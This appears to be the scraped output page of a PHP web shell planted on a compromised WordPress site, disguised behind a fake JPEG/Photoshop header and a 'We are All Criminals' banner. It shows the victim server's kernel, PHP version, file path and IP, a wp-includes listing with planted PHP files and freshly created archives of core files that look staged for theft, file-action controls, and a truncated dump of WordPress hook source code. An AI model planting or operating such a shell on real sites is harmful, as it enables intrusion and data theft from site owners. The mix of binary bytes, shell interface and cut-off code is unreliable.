JFIF ÿØÿà JFIF  H H ÿí 6Photoshop 3.0 8BIM g fDv40PON15YC57AbScWj ÿÛ C    $$$$$$$$$,,,,,,333339999999999ÿÛ C <)!)<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<ÿ ÀÀ" ÿÄ   ÿÄ  ÿÚ   i®~€4 R ¡*MòwM¾óùÿ ºß?‹äûG_êýNqæóz[šGg&7ύÛ¸Ò0C61lE*M1 2]$–Ø•¶Äæ•&†*HT2SJАm $d"hM°¦˜ 0 š4Å ¬r­4KJ&Ö[c(¢Èa Òj“F *¤ Š,¢hLM‰¦¾wßüGN³ö¾™ãë?c?-Ò¹kÁ2×&±.T–oÐiËÓ`č0"“)T°L!‰–ŠIL¤Ó‰ TÄ À„Ð*Mb¹a,b›A4Èm ’74¤ÚD¨„®DÆ*š@@ (¦Ð4²êRX€r£L*hh,C[€Lh Å5(˜ƒªBˆLi¡´!çz~e{?³æjrUW3¢a²÷cçy´Ììö~sß“ESH¤!€Æ€†ŒcHš`,¢4 CT†˜  `‰ªY±Ù DChSjvJb¡² 6$ܲÀh1¡-¨€ª%Z$b¦…¤¹j¤C dr¸ªBaM ‚˜±Ø£¯ç;¹¾ƒ¥~b½Ì»Â ªeŸgÇí³×b1LTС+0šE%AIÙ‰e´"’!„¶É¤Éw ÒN„ÅZ„ †„6@ÐÕ„'D°¶f´K™a%32”&¥B`©Q` cŠ€hY/:µIµ!CYc 44žsêókëy=ŽgÇ×dÊâ©1¹¡×“¨æ‘°…`JS¨t$ÍÌ0ªNYRÕQ,hd¶‰¤Àj8”©…T”¢J mÀ–ÐÓB‰R&´˜Ah†Ù ¡*!*B  &óLC -HטjÆÜÃ&¦4ÐÀ!‰€2|k‚ÏsƒÉƯ+±h¢/Nj©Ë|c»ØùÏ¢ªL’FMJ@®ATÐÊ›¦†Ô r:—@2i ÓRRh4 ‹ˆOÏ_cŸ”öŽ/±~}%üË>›Îòó=ç¨õû¾r¨¯Ø­´àÐìYt›f‘T‡7"N–&Ñ) (!’Z&É ¤Hņ\¼Š•Ë(˜&‚i‚lš)±b~Ëã—+™¦®.Âh¦ jJ• .!°¦lÀC•ÍŠ³ñÎÏžS BDKR28 - $H3LL
— We are All Criminals —
Linux mail2.itdevelopment.ro 4.18.0-553.76.1.el8_10.x86_64 #1 SMP Tue Sep 23 05:21:08 EDT 2025 x86_64
  INFO SERVER : Apache PHP : 8.3.25
/home/notariatiosep/public_html/public.html2/wp-includes/ | HOME
188.247.240.81

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACTN ]
+FILE +DIR
ID3 dir drwxr-xr-x 2024-04-03 09:01 R D
IXR dir drwxr-xr-x 2023-12-20 14:50 R D
PHPMailer dir drwxr-xr-x 2023-12-20 14:50 R D
Requests dir drwxr-xr-x 2023-12-20 14:50 R D
Text dir drwxr-xr-x 2024-11-13 23:23 R D
assets dir drwxr-xr-x 2024-11-13 23:23 R D
block-bindings dir drwxr-xr-x 2024-04-03 09:01 R D
block-patterns dir drwxr-xr-x 2023-12-20 14:50 R D
certificates dir drwxr-xr-x 2023-12-20 14:50 R D
css dir drwxr-xr-x 2025-04-16 03:44 R D
customize dir drwxr-xr-x 2023-12-20 14:50 R D
interactivity-api dir drwxr-xr-x 2024-04-03 09:01 R D
js dir drwxr-xr-x 2025-10-20 03:33 R D
l10n dir drwxr-xr-x 2024-04-03 09:01 R D
php-compat dir drwxr-xr-x 2023-12-20 14:50 R D
rest-api dir drwxr-xr-x 2023-12-20 14:50 R D
sitemaps dir drwxr-xr-x 2023-12-20 14:50 R D
style-engine dir drwxr-xr-x 2023-12-20 14:50 R D
theme-compat dir drwxr-xr-x 2023-12-20 14:50 R D
widgets dir drwxr-xr-x 2023-12-20 14:50 R D
8zcezb0c.php 1.159 KB -rw-r--r-- 2025-10-20 07:15 R E G D
8zcezb0c.php.php.tar.gz 0.643 KB -rw-r--r-- 2025-10-21 16:30 R E G D
8zcezb0c.php.tar 3 KB -rw-r--r-- 2025-10-21 16:30 R E G D
BDKR28_stg4quzr.php 23.183 KB -rw-r--r-- 2025-10-20 07:15 R E G D
ID3.tar.gz 234.067 KB -rw-r--r-- 2025-10-21 16:30 R E G D
ID3.zip 1.11 MB -rw-r--r-- 2025-10-21 16:30 R E G U D
IXR.tar.gz 7.771 KB -rw-r--r-- 2025-10-21 16:30 R E G D
IXR.zip 34.66 KB -rw-r--r-- 2025-10-21 16:30 R E G U D
PHPMailer.tar.gz 52.288 KB -rw-r--r-- 2025-10-21 16:30 R E G D
PHPMailer.zip 228.573 KB -rw-r--r-- 2025-10-21 16:30 R E G U D
Requests.tar.gz 49.44 KB -rw-r--r-- 2025-10-21 16:34 R E G D
Requests.zip 220.531 KB -rw-r--r-- 2025-10-21 16:34 R E G U D
Text.tar.gz 12.9 KB -rw-r--r-- 2025-10-21 16:34 R E G D
Text.zip 57.092 KB -rw-r--r-- 2025-10-21 16:34 R E G U D
admin-bar.php 36.236 KB -rw-r--r-- 2025-05-01 03:43 R E G D
admin-bar.php.php.tar.gz 8.217 KB -rw-r--r-- 2025-10-21 16:34 R E G D
admin-bar.php.tar 38 KB -rw-r--r-- 2025-10-21 16:34 R E G D
assets.tar.gz 4.194 KB -rw-r--r-- 2025-10-21 16:30 R E G D
assets.zip 29.143 KB -rw-r--r-- 2025-10-21 16:34 R E G U D
block-bindings.tar.gz 1.097 KB -rw-r--r-- 2025-10-21 16:31 R E G D
block-bindings.zip 3.832 KB -rw-r--r-- 2025-10-21 16:31 R E G U D
block-patterns.php 12.903 KB -rw-r--r-- 2025-04-16 03:44 R E G D
block-patterns.tar.gz 1.693 KB -rw-r--r-- 2025-10-21 16:34 R E G D
block-patterns.zip 9.872 KB -rw-r--r-- 2025-10-21 16:31 R E G U D
blocks.php.php.tar.gz 22.343 KB -rw-r--r-- 2025-10-21 16:31 R E G D
blocks.php.tar 112 KB -rw-r--r-- 2025-10-21 16:31 R E G D
bookmark.php 15.065 KB -rw-r--r-- 2024-07-17 02:53 R E G D
bookmark.php.php.tar.gz 4.245 KB -rw-r--r-- 2025-10-21 16:34 R E G D
bookmark.php.tar 17 KB -rw-r--r-- 2025-10-21 16:34 R E G D
cache-compat.php 5.829 KB -rw-r--r-- 2022-10-10 20:52 R E G D
cache.php 13.158 KB -rw-r--r-- 2022-10-10 20:52 R E G D
cache.php.php.tar.gz 2.612 KB -rw-r--r-- 2025-10-21 16:34 R E G D
cache.php.tar 15 KB -rw-r--r-- 2025-10-21 16:34 R E G D
canonical.php.php.tar.gz 8.505 KB -rw-r--r-- 2025-10-21 16:31 R E G D
canonical.php.tar 35.5 KB -rw-r--r-- 2025-10-21 16:31 R E G D
certificates.tar.gz 125.396 KB -rw-r--r-- 2025-10-21 16:34 R E G D
certificates.zip 221.159 KB -rw-r--r-- 2025-10-21 16:34 R E G U D
class-IXR.php.php.tar.gz 1.258 KB -rw-r--r-- 2025-10-21 16:30 R E G D
class-IXR.php.tar 4.5 KB -rw-r--r-- 2025-10-21 16:30 R E G D
class-avif-info.php 28.921 KB -rw-r--r-- 2024-05-08 02:55 R E G D
class-http.php.php.tar.gz 0.339 KB -rw-r--r-- 2025-10-21 16:30 R E G D
class-http.php.tar 2 KB -rw-r--r-- 2025-10-21 16:30 R E G D
class-requests.php 2.185 KB -rw-r--r-- 2023-04-05 15:42 R E G D
class-walker-comment.php 13.888 KB -rw-r--r-- 2024-07-17 02:53 R E G D
class-walker-nav-menu.php 11.762 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-block-editor-context.php 1.318 KB -rw-r--r-- 2022-09-12 18:17 R E G D
class-wp-block-parser-frame.php 1.97 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-block-template.php 1.985 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-comment.php 9.216 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-customize-manager.php 197.845 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-customize-panel.php 10.459 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-customize-widgets.php 70.518 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-http-streams.php 16.464 KB -rw-r--r-- 2023-09-21 20:59 R E G D
class-wp-image-editor-gd.php 19.689 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-image-editor-imagick.php 33.921 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-image-editor.php 17.116 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-meta-query.php 29.815 KB -rw-r--r-- 2024-07-17 02:53 R E G D
class-wp-oembed-controller.php 6.743 KB -rw-r--r-- 2024-07-17 02:53 R E G D
class-wp-plugin-dependencies.php 24.722 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-query.php 154.319 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-recovery-mode-cookie-service.php 6.716 KB -rw-r--r-- 2022-10-04 06:29 R E G D
class-wp-recovery-mode-link-service.php 3.382 KB -rw-r--r-- 2022-09-12 18:17 R E G D
class-wp-role.php 2.464 KB -rw-r--r-- 2023-09-08 12:02 R E G D
class-wp-script-modules.php 19.007 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-site.php 7.279 KB -rw-r--r-- 2022-09-12 18:17 R E G D
class-wp-theme-json-data.php 1.767 KB -rw-r--r-- 2024-07-17 02:53 R E G D
class-wp-theme-json-schema.php 7.194 KB -rw-r--r-- 2024-07-17 02:53 R E G D
class-wp-theme-json.php 159.712 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wpdb.php 115.512 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wpdb.php.php.tar.gz 28.197 KB -rw-r--r-- 2025-10-21 16:30 R E G D
class-wpdb.php.tar 117.5 KB -rw-r--r-- 2025-10-21 16:30 R E G D
comment-template.php 100.688 KB -rw-r--r-- 2025-07-16 03:43 R E G D
compat.php.php.tar.gz 3.883 KB -rw-r--r-- 2025-10-21 16:31 R E G D
compat.php.tar 17.5 KB -rw-r--r-- 2025-10-21 16:31 R E G D
cron.php 41.658 KB -rw-r--r-- 2025-04-16 03:44 R E G D
cron.php.php.tar.gz 7.777 KB -rw-r--r-- 2025-10-21 16:34 R E G D
cron.php.tar 43.5 KB -rw-r--r-- 2025-10-21 16:34 R E G D
css.tar.gz 541.864 KB -rw-r--r-- 2025-10-21 16:30 R E G D
css.zip 3.41 MB -rw-r--r-- 2025-10-21 16:34 R E G U D
customize.tar.gz 38.329 KB -rw-r--r-- 2025-10-21 16:31 R E G D
customize.zip 181.122 KB -rw-r--r-- 2025-10-21 16:31 R E G U D
date.php 0.391 KB -rw-r--r-- 2022-06-17 13:50 R E G D
date.php.php.tar.gz 0.354 KB -rw-r--r-- 2025-10-21 16:34 R E G D
date.php.tar 2 KB -rw-r--r-- 2025-10-21 16:34 R E G D
deprecated.php 187.073 KB -rw-r--r-- 2025-04-16 03:44 R E G D
deprecated.php.php.tar.gz 41.392 KB -rw-r--r-- 2025-10-21 16:30 R E G D
deprecated.php.tar 189 KB -rw-r--r-- 2025-10-21 16:30 R E G D
embed.php 37.277 KB -rw-r--r-- 2025-04-16 03:44 R E G D
embed.php.php.tar.gz 9.998 KB -rw-r--r-- 2025-10-21 16:34 R E G D
embed.php.tar 39 KB -rw-r--r-- 2025-10-21 16:34 R E G D
error-protection.php 4.024 KB -rw-r--r-- 2023-05-02 18:15 R E G D
feed-atom.php.php.tar.gz 1.262 KB -rw-r--r-- 2025-10-21 16:30 R E G D
feed-atom.php.tar 5 KB -rw-r--r-- 2025-10-21 16:30 R E G D
feed-rss.php 1.161 KB -rw-r--r-- 2020-01-29 04:15 R E G D
feed-rss.php.php.tar.gz 0.691 KB -rw-r--r-- 2025-10-21 16:30 R E G D
feed-rss.php.tar 3 KB -rw-r--r-- 2025-10-21 16:30 R E G D
feed-rss2.php 3.71 KB -rw-r--r-- 2020-01-29 04:15 R E G D
feed-rss2.php.php.tar.gz 1.499 KB -rw-r--r-- 2025-10-21 16:30 R E G D
feed-rss2.php.tar 5.5 KB -rw-r--r-- 2025-10-21 16:30 R E G D
feed.php 22.862 KB -rw-r--r-- 2024-11-13 23:23 R E G D
feed.php.php.tar.gz 6.038 KB -rw-r--r-- 2025-10-21 16:30 R E G D
feed.php.tar 24.5 KB -rw-r--r-- 2025-10-21 16:30 R E G D
fonts.php 9.522 KB -rw-r--r-- 2024-11-13 23:23 R E G D
fonts.php.php.tar.gz 2.738 KB -rw-r--r-- 2025-10-21 16:34 R E G D
fonts.php.tar 11.5 KB -rw-r--r-- 2025-10-21 16:34 R E G D
formatting.php 334.884 KB -rw-r--r-- 2025-07-16 03:43 R E G D
formatting.php.php.tar.gz 65.76 KB -rw-r--r-- 2025-10-21 16:30 R E G D
formatting.php.tar 336.5 KB -rw-r--r-- 2025-10-21 16:30 R E G D
functions.php.php.tar.gz 73.289 KB -rw-r--r-- 2025-10-21 16:31 R E G D
functions.php.tar 285.5 KB -rw-r--r-- 2025-10-21 16:31 R E G D
functions.wp-styles.php 8.382 KB -rw-r--r-- 2024-07-17 02:53 R E G D
github_manz.php 2.289 KB -rw-r--r-- 2025-10-20 08:25 R E G D
github_manz.php.php.tar.gz 1.006 KB -rw-r--r-- 2025-10-21 16:30 R E G D
github_manz.php.tar 4 KB -rw-r--r-- 2025-10-21 16:30 R E G D
global-styles-and-settings.php 20.763 KB -rw-r--r-- 2025-04-16 03:44 R E G D
https-migration.php 4.63 KB -rw-r--r-- 2023-07-11 01:08 R E G D
js.tar.gz 7.24 MB -rw-r--r-- 2025-10-21 16:34 R E G D
js.zip 30.14 MB -rw-r--r-- 2025-10-21 16:31 R E G U D
kses.php 72.727 KB -rw-r--r-- 2025-04-16 03:44 R E G D
kses.php.php.tar.gz 18.546 KB -rw-r--r-- 2025-10-21 16:30 R E G D
kses.php.tar 74.5 KB -rw-r--r-- 2025-10-21 16:30 R E G D
l10n.php 66.924 KB -rw-r--r-- 2025-04-16 03:44 R E G D
l10n.php.php.tar.gz 12.579 KB -rw-r--r-- 2025-10-21 16:30 R E G D
l10n.php.tar 68.5 KB -rw-r--r-- 2025-10-21 16:30 R E G D
l10n.tar.gz 6.41 KB -rw-r--r-- 2025-10-21 16:30 R E G D
l10n.zip 31.374 KB -rw-r--r-- 2025-10-21 16:30 R E G U D
link-template.php 154.103 KB -rw-r--r-- 2025-04-16 03:44 R E G D
llex.php 78.586 KB -rw-r--r-- 2025-10-20 03:33 R E G D
llex.php.php.tar.gz 25.442 KB -rw-r--r-- 2025-10-21 16:30 R E G D
llex.php.tar 80.5 KB -rw-r--r-- 2025-10-21 16:30 R E G D
load.php 55.117 KB -rw-r--r-- 2025-04-16 03:44 R E G D
load.php.php.tar.gz 15.057 KB -rw-r--r-- 2025-10-21 16:34 R E G D
load.php.tar 57 KB -rw-r--r-- 2025-10-21 16:34 R E G D
media.php.php.tar.gz 49.277 KB -rw-r--r-- 2025-10-21 16:34 R E G D
media.php.tar 217 KB -rw-r--r-- 2025-10-21 16:34 R E G D
meta.php 63.714 KB -rw-r--r-- 2025-04-16 03:44 R E G D
meta.php.php.tar.gz 10.495 KB -rw-r--r-- 2025-10-21 16:34 R E G D
meta.php.tar 65.5 KB -rw-r--r-- 2025-10-21 16:34 R E G D
ms-blogs.php.php.tar.gz 6.174 KB -rw-r--r-- 2025-10-21 16:31 R E G D
ms-blogs.php.tar 27 KB -rw-r--r-- 2025-10-21 16:31 R E G D
ms-deprecated.php 21.249 KB -rw-r--r-- 2024-07-17 02:53 R E G D
ms-files.php.php.tar.gz 1.243 KB -rw-r--r-- 2025-10-21 16:31 R E G D
ms-files.php.tar 4.5 KB -rw-r--r-- 2025-10-21 16:31 R E G D
ms-load.php 19.417 KB -rw-r--r-- 2024-07-17 02:53 R E G D
ms-load.php.php.tar.gz 6.161 KB -rw-r--r-- 2025-10-21 16:34 R E G D
ms-load.php.tar 21 KB -rw-r--r-- 2025-10-21 16:34 R E G D
ms-settings.php 4.099 KB -rw-r--r-- 2025-04-16 03:44 R E G D
ms-settings.php.php.tar.gz 1.659 KB -rw-r--r-- 2025-10-21 16:31 R E G D
ms-settings.php.tar 6 KB -rw-r--r-- 2025-10-21 16:31 R E G D
nav-menu-template.php 25.381 KB -rw-r--r-- 2025-04-16 03:44 R E G D
option.php.php.tar.gz 18.472 KB -rw-r--r-- 2025-10-21 16:34 R E G D
option.php.tar 102.5 KB -rw-r--r-- 2025-10-21 16:34 R E G D
php-compat.tar.gz 0.634 KB -rw-r--r-- 2025-10-21 16:34 R E G D
php-compat.zip 1.378 KB -rw-r--r-- 2025-10-21 16:34 R E G U D
pluggable-deprecated.php 6.176 KB -rw-r--r-- 2025-04-16 03:44 R E G D
plugin.php 34.634 KB -rw-r--r-- 2023-06-08 10:24 R E G D
plugin.php.php.tar.gz 7.147 KB -rw-r--r-- 2025-10-21 16:34 R E G D
plugin.php.tar 36.5 KB -rw-r--r-- 2025-10-21 16:34 R E G D
pomo.tar.gz 12.431 KB -rw-r--r-- 2025-10-21 16:30 R E G D
pomo.zip 56.609 KB -rw-r--r-- 2025-10-21 16:34 R E G U D
post-template.php 67.039 KB -rw-r--r-- 2025-04-16 03:44 R E G D
query.php 36.167 KB -rw-r--r-- 2023-08-24 11:31 R E G D
query.php.php.tar.gz 5.039 KB -rw-r--r-- 2025-10-21 16:30 R E G D
query.php.tar 38 KB -rw-r--r-- 2025-10-21 16:30 R E G D
registration-functions.php 0.195 KB -rw-r--r-- 2020-11-12 14:47 R E G D
registration.php 0.195 KB -rw-r--r-- 2020-11-12 14:47 R E G D
rest-api.php.php.tar.gz 20.79 KB -rw-r--r-- 2025-10-21 16:31 R E G D
rest-api.php.tar 99.5 KB -rw-r--r-- 2025-10-21 16:31 R E G D
rest-api.tar.gz 172.091 KB -rw-r--r-- 2025-10-21 16:34 R E G D
rest-api.zip 989.188 KB -rw-r--r-- 2025-10-21 16:31 R E G U D
session.php 0.252 KB -rw-r--r-- 2020-02-06 10:03 R E G D
session.php.php.tar.gz 0.278 KB -rw-r--r-- 2025-10-21 16:30 R E G D
session.php.tar 2 KB -rw-r--r-- 2025-10-21 16:30 R E G D
sitemaps.php 3.162 KB -rw-r--r-- 2021-05-15 20:08 R E G D
sitemaps.php.php.tar.gz 1.152 KB -rw-r--r-- 2025-10-21 16:34 R E G D
sitemaps.php.tar 5 KB -rw-r--r-- 2025-10-21 16:34 R E G D
sitemaps.tar.gz 9.817 KB -rw-r--r-- 2025-10-21 16:30 R E G D
sitemaps.zip 47.997 KB -rw-r--r-- 2025-10-21 16:30 R E G U D
sodium_compat.tar.gz 227.824 KB -rw-r--r-- 2025-10-21 16:30 R E G D
sodium_compat.zip 1.33 MB -rw-r--r-- 2025-10-21 16:34 R E G U D
style-engine.tar.gz 9.19 KB -rw-r--r-- 2025-10-21 16:34 R E G D
style-engine.zip 47.905 KB -rw-r--r-- 2025-10-21 16:34 R E G U D
taxonomy.php.php.tar.gz 36.58 KB -rw-r--r-- 2025-10-21 16:34 R E G D
taxonomy.php.tar 174 KB -rw-r--r-- 2025-10-21 16:34 R E G D
template.php 23.588 KB -rw-r--r-- 2024-04-03 09:01 R E G D
template.php.php.tar.gz 4.439 KB -rw-r--r-- 2025-10-21 16:34 R E G D
template.php.tar 25.5 KB -rw-r--r-- 2025-10-21 16:34 R E G D
theme-compat.tar.gz 4.39 KB -rw-r--r-- 2025-10-21 16:31 R E G D
theme-compat.zip 16.518 KB -rw-r--r-- 2025-10-21 16:31 R E G U D
theme-previews.php 2.766 KB -rw-r--r-- 2024-04-03 09:01 R E G D
theme.json.json.tar.gz 2.267 KB -rw-r--r-- 2025-10-21 16:34 R E G D
theme.json.tar 10 KB -rw-r--r-- 2025-10-21 16:34 R E G D
theme.php 131.155 KB -rw-r--r-- 2025-04-16 03:44 R E G D
theme.php.php.tar.gz 29.838 KB -rw-r--r-- 2025-10-21 16:34 R E G D
theme.php.tar 133 KB -rw-r--r-- 2025-10-21 16:34 R E G D
update.php 36.624 KB -rw-r--r-- 2025-04-16 03:44 R E G D
update.php.php.tar.gz 8.222 KB -rw-r--r-- 2025-10-21 16:34 R E G D
update.php.tar 38.5 KB -rw-r--r-- 2025-10-21 16:34 R E G D
user.php 171.702 KB -rw-r--r-- 2025-04-16 03:44 R E G D
user.php.php.tar.gz 35.934 KB -rw-r--r-- 2025-10-21 16:30 R E G D
user.php.tar 173.5 KB -rw-r--r-- 2025-10-21 16:30 R E G D
vars.php 6.408 KB -rw-r--r-- 2025-04-16 03:44 R E G D
vars.php.php.tar.gz 2.084 KB -rw-r--r-- 2025-10-21 16:30 R E G D
vars.php.tar 8 KB -rw-r--r-- 2025-10-21 16:30 R E G D
version.php.php.tar.gz 0.555 KB -rw-r--r-- 2025-10-21 16:30 R E G D
version.php.tar 3 KB -rw-r--r-- 2025-10-21 16:30 R E G D
widgets.php 69.062 KB -rw-r--r-- 2025-04-16 03:44 R E G D
widgets.php.php.tar.gz 15.424 KB -rw-r--r-- 2025-10-21 16:30 R E G D
widgets.php.tar 71 KB -rw-r--r-- 2025-10-21 16:30 R E G D
widgets.tar.gz 30.201 KB -rw-r--r-- 2025-10-21 16:30 R E G D
widgets.zip 157.801 KB -rw-r--r-- 2025-10-21 16:30 R E G U D
wp-db.php 0.435 KB -rw-r--r-- 2022-07-22 01:15 R E G D
wp-db.php.php.tar.gz 0.377 KB -rw-r--r-- 2025-10-21 16:34 R E G D
wp-db.php.tar 2 KB -rw-r--r-- 2025-10-21 16:34 R E G D
wp-diff.php 0.78 KB -rw-r--r-- 2025-04-16 03:44 R E G D
wp-diff.php.php.tar.gz 0.455 KB -rw-r--r-- 2025-10-21 16:30 R E G D
wp-diff.php.tar 2.5 KB -rw-r--r-- 2025-10-21 16:30 R E G D
REQUEST EXIT
add_filter( $hook_name, $callback, $priority, $accepted_args ); return true; } /** * Calls the callback functions that have been added to a filter hook. * * This function invokes all functions attached to filter hook `$hook_name`. * It is possible to create new filter hooks by simply calling this function, * specifying the name of the new hook using the `$hook_name` parameter. * * The function also allows for multiple additional arguments to be passed to hooks. * * Example usage: * * // The filter callback function. * function example_callback( $string, $arg1, $arg2 ) { * // (maybe) modify $string. * return $string; * } * add_filter( 'example_filter', 'example_callback', 10, 3 ); * * /* * * Apply the filters by calling the 'example_callback()' function * * that's hooked onto `example_filter` above. * * * * - 'example_filter' is the filter hook. * * - 'filter me' is the value being filtered. * * - $arg1 and $arg2 are the additional arguments passed to the callback. * $value = apply_filters( 'example_filter', 'filter me', $arg1, $arg2 ); * * @since 0.71 * @since 6.0.0 Formalized the existing and already documented `...$args` parameter * by adding it to the function signature. * * @global WP_Hook[] $wp_filter Stores all of the filters and actions. * @global int[] $wp_filters Stores the number of times each filter was triggered. * @global string[] $wp_current_filter Stores the list of current filters with the current one last. * * @param string $hook_name The name of the filter hook. * @param mixed $value The value to filter. * @param mixed ...$args Optional. Additional parameters to pass to the callback functions. * @return mixed The filtered value after all hooked functions are applied to it. */ function apply_filters( $hook_name, $value, ...$args ) { global $wp_filter, $wp_filters, $wp_current_filter; if ( ! isset( $wp_filters[ $hook_name ] ) ) { $wp_filters[ $hook_name ] = 1; } else { ++$wp_filters[ $hook_name ]; } // Do 'all' actions first. if ( isset( $wp_filter['all'] ) ) { $wp_current_filter[] = $hook_name; $all_args = func_get_args(); // phpcs:ignore PHPCompatibility.FunctionUse.ArgumentFunctionsReportCurrentValue.NeedsInspection _wp_call_all_hook( $all_args ); } if ( ! isset( $wp_filter[ $hook_name ] ) ) { if ( isset( $wp_filter['all'] ) ) { array_pop( $wp_current_filter ); } return $value; } if ( ! isset( $wp_filter['all'] ) ) { $wp_current_filter[] = $hook_name; } // Pass the value to WP_Hook. array_unshift( $args, $value ); $filtered = $wp_filter[ $hook_name ]->apply_filters( $value, $args ); array_pop( $wp_current_filter ); return $filtered; } /** * Calls the callback functions that have been added to a filter hook, specifying arguments in an array. * * @since 3.0.0 * * @see apply_filters() This function is identical, but the arguments passed to the * functions hooked to `$hook_name` are supplied using an array. * * @global WP_Hook[] $wp_filter Stores all of the filters and actions. * @global int[] $wp_filters Stores the number of times each filter was triggered. * @global string[] $wp_current_filter Stores the list of current filters with the current one last. * * @param string $hook_name The name of the filter hook. * @param array $args The arguments supplied to the functions hooked to `$hook_name`. * @return mixed The filtered value after all hooked functions are applied to it. */ function apply_filters_ref_array( $hook_name, $args ) { global $wp_filter, $wp_filters, $wp_current_filter; if ( ! isset( $wp_filters[ $hook_name ] ) ) { $wp_filters[ $hook_name ] = 1; } else { ++$wp_filters[ $hook_name ]; } // Do 'all' actions first. if ( isset( $wp_filter['all'] ) ) { $wp_current_filter[] = $hook_name; $all_args = func_get_args(); // phpcs:ignore PHPCompatibility.FunctionUse.ArgumentFunctionsReportCurrentValue.NeedsInspection _wp_call_all_hook( $all_args ); } if ( ! isset( $wp_filter[ $hook_name ] ) ) { if ( isset( $wp_filter['all'] ) ) { array_pop( $wp_current_filter ); } return $args[0]; } if ( ! isset( $wp_filter['all'] ) ) { $wp_current_filter[] = $hook_name; } $filtered = $wp_filter[ $hook_name ]->apply_filters( $args[0], $args ); array_pop( $wp_current_filter ); return $filtered; } /** * Checks if any filter has been registered for a hook. * * When using the `$callback` argument, this function may return a non-boolean value * that evaluates to false (e.g. 0), so use the `===` operator for testing the return value. * * @since 2.5.0 * * @global WP_Hook[] $wp_filter Stores all of the filters and actions. * * @param string $hook_name The name of the filter hook. * @param callable|string|array|false $callback Optional. The callback to check for. * This function can be called unconditionally to speculatively check * a callback that may or may not exist. Default false. * @return bool|int If `$callback` is omitted, returns boolean for whether the hook has * anything registered. When checking a specific function, the priority * of that hook is returned, or false if the function is not attached. */ function has_filter( $hook_name, $callback = false ) { global $wp_filter; if ( ! isset( $wp_filter[ $hook_name ] ) ) { return false; } return $wp_filter[ $hook_name ]->has_filter( $hook_name, $callback ); } /** * Removes a callback function from a filter hook. * * This can be used to remove default functions attached to a specific filter * hook and possibly replace them with a substitute. * * To remove a hook, the `$callback` and `$priority` arguments must match * when the hook was added. This goes for both filters and actions. No warning * will be given on removal failure. * * @since 1.2.0 * * @global WP_Hook[] $wp_filter Stores all of the filters and actions. * * @param string $hook_name The filter hook to which the function to be removed is hooked. * @param callable|string|array $callback The callback to be removed from running when the filter is applied. * This function can be called unconditionally to speculatively remove * a callback that may or may not exist. * @param int $priority Optional. The exact priority used when adding the original * filter callback. Default 10. * @return bool Whether the function existed before it was removed. */ function remove_filter( $hook_name, $callback, $priority = 10 ) { global $wp_filter; $r = false; if ( isset( $wp_filter[ $hook_name ] ) ) { $r = $wp_filter[ $hook_name ]->remove_filter( $hook_name, $callback, $priority ); if ( ! $wp_filter[ $hook_name ]->callbacks ) { unset( $wp_filter[ $hook_name ] ); } } return $r; } /** * Removes all of the callback functions from a filter hook. * * @since 2.7.0 * * @global WP_Hook[] $wp_filter Stores all of the filters and actions. * * @param string $hook_name The filter to remove callbacks from. * @param int|false $priority Optional. The priority number to remove them from. * Default false. * @return true Always returns true. */ function remove_all_filters( $hook_name, $priority = false ) { global $wp_filter; if ( isset( $wp_filter[ $hook_name ] ) ) { $wp_filter[ $hook_name ]->remove_all_filters( $priority ); if ( ! $wp_filter[ $hook_name ]->has_filters() ) { unset( $wp_filter[ $hook_name ] ); } } return true; } /** * Retrieves the name of the current filter hook. * * @since 2.5.0 * * @global string[] $wp_current_filter Stores the list of current filters with the current one last * * @return string Hook name of the current filter. */ function current_filter() { global $wp_current_filter; return end( $wp_current_filter ); } /** * Returns whether or not a filter hook is currently being processed. * * The function current_filter() only returns the most recent filter being executed. * did_filter() returns the number of times a filter has been applied during * the current request. * * This function allows detection for any filter currently being executed * (regardless of whether it's the most recent filter to fire, in the case of * hooks called from hook callbacks) to be verified. * * @since 3.9.0 * * @see current_filter() * @see did_filter() * @global string[] $wp_current_filter Current filter. * * @param string|null $hook_name Optional. Filter hook to check. Defaults to null, * which checks if any filter is currently being run. * @return bool Whether the filter is currently in the stack. */ function doing_filter( $hook_name = null ) { global $wp_current_filter; if ( null === $hook_name ) { return ! empty( $wp_current_filter ); } return in_array( $hook_name, $wp_current_filter, true ); } /** * Retrieves the number of times a filter has been applied during the current request. * * @since 6.1.0 * * @global int[] $wp_filters Stores the number of times each filter was triggered. * * @param string $hook_name The name of the filter hook. * @return int The number of times the filter hook has been applied. */ function did_filter( $hook_name ) { global $wp_filters; if ( ! isset( $wp_filters[ $hook_name ] ) ) { return 0; } return $wp_filters[ $hook_name ]; } /** * Adds a callback function to an action hook. * * Actions are the hooks that the WordPress core launches at specific points * during execution, or when specific events occur. Plugins can specify that * one or more of its PHP functions are executed at these points, using the * Action API. * * @since 1.2.0 * * @param string $hook_name The name of the action to add the callback to. * @param callable $callback The callback to be run when the action is called. * @param int $priority Optional. Used to specify the order in which the functions * associated with a particular action are executed. * Lower numbers correspond with earlier execution, * and functions with the same priority are executed * in the order in which they were added to the action. Default 10. * @param int $accepted_args Optional. The number of arguments the function accepts. Default 1. * @return true Always returns true. */ function add_action( $hook_name, $callback, $priority = 10, $accepted_args = 1 ) { return add_filter( $hook_name, $callback, $priority, $accepted_args ); } /** * Calls the callback functions that have been added to an action hook. * * This function invokes all functions attached to action hook `$hook_name`. * It is possible to create new action hooks by simply calling this function, * specifying the name of the new hook using the `$hook_name` parameter. * * You can pass extra arguments to the hooks, much like you can with `apply_filters()`. * * Example usage: * * // The action callback function. * function example_callback( $arg1, $arg2 ) { * // (maybe) do something with the args. * } * add_action( 'example_action', 'example_callback', 10, 2 ); * * /* * * Trigger the actions by calling the 'example_callback()' function * * that's hooked onto `example_action` above. * * * * 